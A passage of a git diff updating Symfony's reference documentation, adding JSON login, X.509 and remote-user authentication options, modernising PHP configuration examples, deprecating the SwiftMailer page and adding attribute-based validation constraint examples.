+starts with ``http://`` or ``https://``) or the route name (otherwise) to
+redirect after logout.
+
 success_handler
 ~~~~~~~~~~~~~~~
 
@@ -567,6 +401,8 @@ success_handler
 The service ID used for handling a successful logout. The service must implement
 :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
 
+If it is set, the logout ``target`` option will be ignored.
+
 .. _reference-security-logout-csrf:
 
 csrf_parameter
@@ -591,6 +427,102 @@ csrf_token_id
 
 An arbitrary string used to identify the token (and check its validity afterwards).
 
+.. _reference-security-firewall-json-login:
+
+JSON Login Authentication
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+check_path
+..........
+
+**type**: ``string`` **default**: ``/login_check``
+
+This is the URL or route name the system must post to authenticate using
+the JSON authenticator. The path must be covered by the firewall to which
+the user will authenticate.
+
+username_path
+.............
+
+**type**: ``string`` **default**: ``username``
+
+Use this and ``password_path`` to modify the expected request body
+structure of the JSON authenticator. For instance, if the JSON document has
+the following structure:
+
+.. code-block:: json
+
+    {
+        "security": {
+            "credentials": {
+                "login": "dunglas",
+                "password": "MyPassword"
+            }
+        }
+    }
+
+The security configuration should be:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    lazy: true
+                    json_login:
+                        check_path:    login
+                        username_path: security.credentials.login
+                        password_path: security.credentials.password
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main" lazy="true">
+                    <json-login check-path="login"
+                        username-path="security.credentials.login"
+                        password-path="security.credentials.password"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->lazy(true);
+            $mainFirewall->jsonLogin()
+                ->checkPath('/login')
+                ->usernamePath('security.credentials.login')
+                ->passwordPath('security.credentials.password')
+            ;
+        };
+
+password_path
+.............
+
+**type**: ``string`` **default**: ``password``
+
+Use this option to modify the expected request body structure. See
+`username_path`_ for more details.
+
 .. _reference-security-ldap:
 
 LDAP Authentication
@@ -647,12 +579,157 @@ fetch your users from an LDAP server, you will need to use the
 :doc:`LDAP User Provider </security/ldap>` and any of these authentication
 providers: ``form_login_ldap`` or ``http_basic_ldap`` or ``json_login_ldap``.
 
+.. _reference-security-firewall-x509:
+
+X.509 Authentication
+~~~~~~~~~~~~~~~~~~~~
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    x509:
+                        provider:    your_user_provider
+                        user:        SSL_CLIENT_S_DN_Email
+                        credentials: SSL_CLIENT_S_DN
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <x509 provider="your_user_provider"
+                        user="SSL_CLIENT_S_DN_Email"
+                        credentials="SSL_CLIENT_S_DN"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->x509()
+                ->provider('your_user_provider')
+                ->user('SSL_CLIENT_S_DN_Email')
+                ->credentials('SSL_CLIENT_S_DN')
+            ;
+        };
+
+user
+....
+
+**type**: ``string`` **default**: ``SSL_CLIENT_S_DN_Email``
+
+The name of the ``$_SERVER`` parameter containing the user identifier used
+to load the user in Symfony. The default value is exposed by Apache.
+
+credentials
+...........
+
+**type**: ``string`` **default**: ``SSL_CLIENT_S_DN``
+
+If the ``user`` parameter is not available, the name of the ``$_SERVER``
+parameter containing the full "distinguished name" of the certificate
+(exposed by e.g. Nginx).
+
+Symfony identifies the value following ``emailAddress=`` in this parameter.
+
+.. _reference-security-firewall-remote-user:
+
+Remote User Authentication
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    # ...
+                    remote_user:
+                        provider: your_user_provider
+                        user:     REMOTE_USER
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <remote-user provider="your_user_provider"
+                        user="REMOTE_USER"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->remoteUser()
+                ->provider('your_user_provider')
+                ->user('REMOTE_USER')
+            ;
+        };
+
+provider
+........
+
+**type**: ``string``
+
+The service ID of the user provider that should be used by this
+authenticator.
+
+user
+....
+
+**type**: ``string`` **default**: ``REMOTE_USER``
+
+The name of the ``$_SERVER`` parameter holding the user identifier.
+
 .. _reference-security-firewall-context:
 
 Firewall Context
 ~~~~~~~~~~~~~~~~
 
-Most applications will only need one :ref:`firewall <security-firewalls>`.
+Most applications will only need one :ref:`firewall <firewalls-authentication>`.
 But if your application *does* use multiple firewalls, you'll notice that
 if you're authenticated in one firewall, you're not automatically authenticated
 in another. In other words, the systems don't share a common "context":
@@ -682,7 +759,7 @@ multiple firewalls, the "context" could actually be shared:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -704,18 +781,19 @@ multiple firewalls, the "context" could actually be shared:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'somename' => [
-                    // ...
-                    'context' => 'my_context',
-                ],
-                'othername' => [
-                    // ...
-                    'context' => 'my_context',
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('somename')
+                // ...
+                ->context('my_context')
+            ;
+
+            $security->firewall('othername')
+                // ...
+                ->context('my_context')
+            ;
+        };
 
 .. note::
 
@@ -737,13 +815,9 @@ providers
 ---------
 
 This options defines how the application users are loaded (from a database,
-an LDAP server, a configuration file, etc.) Read the following articles to learn
-more about each of those providers:
-
-* :ref:`Load users from a database <security-entity-user-provider>`
-* :ref:`Load users from an LDAP server <security-ldap-user-provider>`
-* :ref:`Load users from a configuration file <security-memory-user-provider>`
-* :ref:`Create your own user provider <custom-user-provider>`
+an LDAP server, a configuration file, etc.) Read
+:doc:`/security/user_providers` to learn more about each of those
+providers.
 
 role_hierarchy
 --------------
@@ -752,9 +826,4 @@ Instead of associating many roles to users, this option allows you to define
 role inheritance rules by creating a role hierarchy, as explained in
 :ref:`security-role-hierarchy`.
 
-.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
-.. _`libsodium`: https://pecl.php.net/package/libsodium
 .. _`Session Fixation`: https://owasp.org/www-community/attacks/Session_fixation
-.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
-.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
-.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 674cee6ae53..2e46e99b000 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -4,391 +4,10 @@
 Mailer Configuration Reference (SwiftmailerBundle)
 ==================================================
 
-The SwiftmailerBundle integrates the Swiftmailer library in Symfony applications
-to :doc:`send emails </email>`. All these options are configured under the
-``swiftmailer`` key in your application configuration.
-
-.. code-block:: terminal
-
-    # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference swiftmailer
-
-    # displays the actual config values used by your application
-    $ php bin/console debug:config swiftmailer
-
-.. note::
-
-    When using XML, you must use the ``http://symfony.com/schema/dic/swiftmailer``
-    namespace and the related XSD schema is available at:
-    ``https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd``
-
-Configuration
--------------
-
-.. rst-class:: list-config-options list-config-options--complex
-
-* `antiflood`_
-
-  * `sleep`_
-  * `threshold`_
-
-* `auth_mode`_
-* `command`_
-* `delivery_addresses`_
-* `delivery_whitelist`_
-* `disable_delivery`_
-* `encryption`_
-* `host`_
-* `local_domain`_
-* `logging`_
-* `password`_
-* `port`_
-* `sender_address`_
-* `source_ip`_
-* `spool`_
-
-  * `path`_
-  * `type`_
-
-* `timeout`_
-* `transport`_
-* `url`_
-* `username`_
-
-url
-~~~
-
-**type**: ``string``
-
-The entire SwiftMailer configuration using a DSN-like URL format.
-
-Example: ``smtp://user:pass@host:port/?timeout=60&encryption=ssl&auth_mode=login&...``
-
-transport
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``smtp``
-
-The exact transport method to use to deliver emails. Valid values are:
-
-* smtp
-* gmail (see :ref:`email-using-gmail`)
-* mail (deprecated in SwiftMailer since version 5.4.5)
-* sendmail
-* null (same as setting `disable_delivery`_ to ``true``)
-
-username
-~~~~~~~~
-
-**type**: ``string``
-
-The username when using ``smtp`` as the transport.
-
-password
-~~~~~~~~
-
-**type**: ``string``
-
-The password when using ``smtp`` as the transport.
-
-command
-~~~~~~~~
-
-**type**: ``string`` **default**: ``/usr/sbin/sendmail -bs``
-
-Command to be executed by ``sendmail`` transport.
-
-host
-~~~~
-
-**type**: ``string`` **default**: ``localhost``
-
-The host to connect to when using ``smtp`` as the transport.
-
-port
-~~~~
-
-**type**: ``string`` **default**: 25 or 465 (depending on `encryption`_)
-
-The port when using ``smtp`` as the transport. This defaults to 465 if encryption
-is ``ssl`` and 25 otherwise.
-
-timeout
-~~~~~~~
-
-**type**: ``integer``
-
-The timeout in seconds when using ``smtp`` as the transport.
-
-source_ip
-~~~~~~~~~
-
-**type**: ``string``
-
-The source IP address when using ``smtp`` as the transport.
-
-local_domain
-~~~~~~~~~~~~
-
-**type**: ``string``
-
-.. versionadded:: 2.4.0
-
-    The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
-
-The domain name to use in ``HELO`` command.
-
-encryption
-~~~~~~~~~~
-
-**type**: ``string``
-
-The encryption mode to use when using ``smtp`` as the transport. Valid values
-are ``tls``, ``ssl``, or ``null`` (indicating no encryption).
-
-auth_mode
-~~~~~~~~~
-
-**type**: ``string``
-
-The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``, or ``null``.
-
-spool
-~~~~~
-
-For details on email spooling, see :doc:`/mailer`.
-
-type
-....
-
-**type**: ``string`` **default**: ``file``
-
-The method used to store spooled messages. Valid values are ``memory`` and
-``file``. A custom spool should be possible by creating a service called
-``swiftmailer.spool.myspool`` and setting this value to ``myspool``.
-
-path
-....
-
-**type**: ``string`` **default**: ``%kernel.cache_dir%/swiftmailer/spool``
-
-When using the ``file`` spool, this is the path where the spooled messages
-will be stored.
-
-sender_address
-~~~~~~~~~~~~~~
-
-**type**: ``string``
-
-If set, all messages will be delivered with this address as the "return
-path" address, which is where bounced messages should go. This is handled
-internally by Swift Mailer's ``Swift_Plugins_ImpersonatePlugin`` class.
-
-antiflood
-~~~~~~~~~
-
-threshold
-.........
-
-**type**: ``integer`` **default**: ``99``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of emails
-to send before restarting the transport.
-
-sleep
-.....
-
-**type**: ``integer`` **default**: ``0``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds
-to sleep for during a transport restart.
-
-.. _delivery-address:
-
-delivery_addresses
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-.. note::
-
-    In previous versions, this option was called ``delivery_address``.
-
-If set, all email messages will be sent to these addresses instead of being sent
-to their actual recipients. This is often useful when developing. For example,
-by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can
-guarantee that all emails sent during development go to one or more some
-specific accounts.
-
-This uses ``Swift_Plugins_RedirectingPlugin``. Original recipients are available
-on the ``X-Swift-To``, ``X-Swift-Cc`` and ``X-Swift-Bcc`` headers.
-
-delivery_whitelist
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-Used in combination with ``delivery_address`` or ``delivery_addresses``. If set, emails matching any
-of these patterns will be delivered like normal, as well as being sent to
-``delivery_address`` or ``delivery_addresses``. For details, see the
-:ref:`How to Work with Emails during Development <sending-to-a-specified-address-but-with-exceptions>`
-article.
-
-disable_delivery
-~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If true, the ``transport`` will automatically be set to ``null`` and no
-emails will actually be delivered.
-
-logging
-~~~~~~~
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-If true, Symfony's data collector will be activated for Swift Mailer and
-the information will be available in the profiler.
-
-.. tip::
-
-    The following options can be set via environment variables: ``url``,
-    ``transport``, ``username``, ``password``, ``host``, ``port``, ``timeout``,
-    ``source_ip``, ``local_domain``, ``encryption``, ``auth_mode``. For details,
-    see: :ref:`config-env-vars`.
-
-Using Multiple Mailers
-----------------------
-
-You can configure multiple mailers by grouping them under the ``mailers``
-key (the default mailer is identified by the ``default_mailer`` option):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        swiftmailer:
-            default_mailer: second_mailer
-            mailers:
-                first_mailer:
-                    # ...
-                second_mailer:
-                    # ...
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config default-mailer="second_mailer">
-                <swiftmailer:mailer name="first_mailer"/>
-                <swiftmailer:mailer name="second_mailer"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        $container->loadFromExtension('swiftmailer', [
-            'default_mailer' => 'second_mailer',
-            'mailers' => [
-                'first_mailer' => [
-                    // ...
-                ],
-                'second_mailer' => [
-                    // ...
-                ],
-            ],
-        ]);
-
-Each mailer is registered automatically as a service with these IDs::
-
-    // ...
-
-    // returns the first mailer
-    $container->get('swiftmailer.mailer.first_mailer');
-
-    // also returns the second mailer since it is the default mailer
-    $container->get('swiftmailer.mailer');
-
-    // returns the second mailer
-    $container->get('swiftmailer.mailer.second_mailer');
-
 .. caution::
 
-    When configuring multiple mailers, options must be placed under the
-    appropriate mailer key of the configuration instead of directly under the
-    ``swiftmailer`` key.
-
-When using :ref:`autowiring <services-autowire>` only the default mailer is
-injected when type-hinting some argument with the ``\Swift_Mailer`` class. If
-you need to inject a different mailer in some service, use any of these
-alternatives based on the :ref:`service binding <services-binding>` feature:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            _defaults:
-                bind:
-                    # this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer
-                    \Swift_Mailer: '@swiftmailer.mailer.second_mailer'
-                    # this injects the second mailer when a service constructor argument is called $specialMailer
-                    $specialMailer: '@swiftmailer.mailer.second_mailer'
-
-            App\Some\Service:
-                # this injects the second mailer only for this argument of this service
-                $differentMailer: '@swiftmailer.mailer.second_mailer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false">
-                    <!-- this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer -->
-                    <bind key="\Swift_Mailer">@swiftmailer.mailer.second_mailer</bind>
-                    <!-- this injects the second mailer when a service constructor argument is called $specialMailer -->
-                    <bind key="$specialMailer">@swiftmailer.mailer.second_mailer</bind>
-                </defaults>
-
-                <service id="App\Some\Service">
-                    <!-- this injects the second mailer only for this argument of this service -->
-                    <argument key="$differentMailer">@swiftmailer.mailer.second_mailer</argument>
-                </service>
-
-                <!-- ... -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Some\Service;
-        use Psr\Log\LoggerInterface;
-
+    The Swift Mailer project is not supported since November 2021 and its
+    integration with Symfony was removed in Symfony 6.0.
 
-        $container->register(Service::class)
-            ->setPublic(true)
-            ->setBindings([
-                // this injects the second mailer when this service type-hints constructor arguments with \Swift_Mailer
-                \Swift_Mailer::class => '@swiftmailer.mailer.second_mailer',
-                // this injects the second mailer when this service has a constructor argument called $specialMailer
-                '$specialMailer' => '@swiftmailer.mailer.second_mailer',
-            ])
-        ;
+    Use the :doc:`Symfony Mailer </mailer>` component, which was introduced in
+    Symfony 4.3 as a modern replacement of Swift Mailer.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index e00d7f63958..b4893beabae 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -25,35 +25,6 @@ under the ``twig`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `auto_reload`_
-* `autoescape`_
-* `autoescape_service`_
-* `autoescape_service_method`_
-* `base_template_class`_
-* `cache`_
-* `charset`_
-* `date`_
-
-  * `format`_
-  * `interval_format`_
-  * `timezone`_
-
-* `debug`_
-* `default_path`_
-* `form_themes`_
-* `globals`_
-* `number_format`_
-
-  * `decimals`_
-  * `decimal_point`_
-  * `thousands_separator`_
-
-* `optimizations`_
-* `paths`_
-* `strict_variables`_
-
 auto_reload
 ~~~~~~~~~~~
 
@@ -235,13 +206,16 @@ all the forms of the application:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'bootstrap_4_layout.html.twig',
                 'form/my_theme.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 The order in which themes are defined is important because each theme overrides
 all the previous one. When rendering a form field whose block is not defined in
@@ -294,7 +268,7 @@ no specific character is passed as argument to the ``number_format`` filter.
 optimizations
 ~~~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``-1``
+**type**: ``integer`` **default**: ``-1``
 
 Twig includes an extension called ``optimizer`` which is enabled by default in
 Symfony applications. This extension analyzes the templates to optimize them
@@ -348,20 +322,23 @@ the directory defined in the :ref:`default_path option <config-twig-default-path
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                'email/default/templates' => null,
-                'backend/templates' => 'admin',
-            ],
-        ]);
+
+            $twig->path('email/default/templates', null);
+            $twig->path('backend/templates', 'admin');
+        };
 
 Read more about :ref:`template directories and namespaces <templates-namespaces>`.
 
+.. _config-twig-strict-variables:
+
 strict_variables
 ~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
 If set to ``true``, Symfony shows an exception whenever a Twig variable,
 attribute or method doesn't exist. If set to ``false`` these errors are ignored
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 83f92e215a5..9d3ddb088f5 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -30,12 +30,6 @@ under the ``web_profiler`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options
-
-* `excluded_ajax_paths`_
-* `intercept_redirects`_
-* `toolbar`_
-
 excluded_ajax_paths
 ~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints.rst b/reference/constraints.rst
index 56acb087114..34ed5d08dab 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -76,6 +76,7 @@ Validation Constraints Reference
    constraints/NotCompromisedPassword
    constraints/Valid
    constraints/Traverse
+   constraints/CssColor
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 1577a07ec4d..bdb0ebda7d1 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -6,9 +6,6 @@ you to apply a collection of constraints to each element of the array.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `constraints`_
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\All`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\AllValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 6a48c44a4fd..9a173008c0f 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -10,12 +10,6 @@ constraints. The validation stops as soon as one constraint is satisfied.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `constraints`_
-            - `includeInternalMessages`_
-            - `message`_
-            - `messageCollection`_
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\AtLeastOneOf`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\AtLeastOneOfValidator`
 ==========  ===================================================================
@@ -141,7 +135,7 @@ The following constraints ensure that:
                         new Assert\Count(['min' => 3]),
                         new Assert\All([
                             'constraints' => [
-                                new Assert\GreaterThanOrEqual(['value' => 5]),
+                                new Assert\GreaterThanOrEqual(5),
                             ],
                         ]),
                     ],
@@ -163,7 +157,7 @@ has to be satisfied in order for the validation to succeed.
 includeInternalMessages
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 If set to ``true``, the message that is shown if the validation fails,
 will include the list of messages for the internal constraints. See option
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 029a322e294..0f041e4a26f 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -8,12 +8,6 @@ check that the BIC's country code is the same as a given IBAN's one.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `iban`_
-            - `ibanMessage`_
-            - `ibanPropertyPath`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Bic`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\BicValidator`
 ==========  ===================================================================
@@ -41,6 +35,19 @@ will contain a Business Identifier Code (BIC).
             protected $businessIdentifierCode;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Bic]
+            protected $businessIdentifierCode;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -87,22 +94,22 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-iban
-~~~~
+``iban``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
 An IBAN value to validate that its country code is the same as the BIC's one.
 
-ibanMessage
-~~~~~~~~~~~
+``ibanMessage``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This Business Identifier Code (BIC) is not associated with IBAN {{ iban }}.``
 
 The default message supplied when the value does not pass the combined BIC/IBAN check.
 
-ibanPropertyPath
-~~~~~~~~~~~~~~~~
+``ibanPropertyPath``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -112,8 +119,8 @@ For example, if you want to compare the ``$bic`` property of some object
 with regard to the ``$iban`` property of the same object, use
 ``ibanPropertyPath="iban"`` in the comparison constraint of ``$bic``.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid Business Identifier Code (BIC).``
 
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index 8a5ba13671a..4bd7a6f869f 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -15,9 +15,6 @@ But be careful as ``NotBlank`` is *not* strictly the opposite of ``Blank``.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Blank`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\BlankValidator`
 ==========  ===================================================================
@@ -45,6 +42,19 @@ of an ``Author`` class were blank, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Blank]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 6985f3953e1..177b3e074a8 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -19,9 +19,6 @@ can do anything, including creating and assigning validation errors.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>` or :ref:`property/method <validation-property-target>`
-Options     - :ref:`callback <callback-option>`
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Callback`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CallbackValidator`
 ==========  ===================================================================
@@ -50,6 +47,23 @@ Configuration
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Context\ExecutionContextInterface;
+
+        class Author
+        {
+            #[Assert\Callback]
+            public function validate(ExecutionContextInterface $context, $payload)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -178,6 +192,19 @@ You can then use the following configuration to invoke this validator:
         {
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Acme\Validator;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Callback([Validator::class, 'validate'])]
+        class Author
+        {
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -251,6 +278,12 @@ constructor of the Callback constraint::
         }
     }
 
+.. warning::
+
+    Using a ``Closure`` together with annotation configuration will disable the
+    annotation cache for that class/property/method because ``Closure`` cannot
+    be cached. For best performance, it's recommended to use a static callback method.
+
 Options
 -------
 
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 64d6157e2c8..f8487b75e93 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -7,10 +7,6 @@ a payment through a payment gateway.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `schemes`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\CardScheme`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CardSchemeValidator`
 ==========  ===================================================================
@@ -41,6 +37,22 @@ on an object that will contain a credit card number.
             protected $cardNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\CardScheme(
+                schemes: [Assert\CardScheme::VISA],
+                message: 'Your credit card number is invalid.',
+            )]
+            protected $cardNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -85,7 +97,7 @@ on an object that will contain a credit card number.
             {
                 $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([
                     'schemes' => [
-                        'VISA',
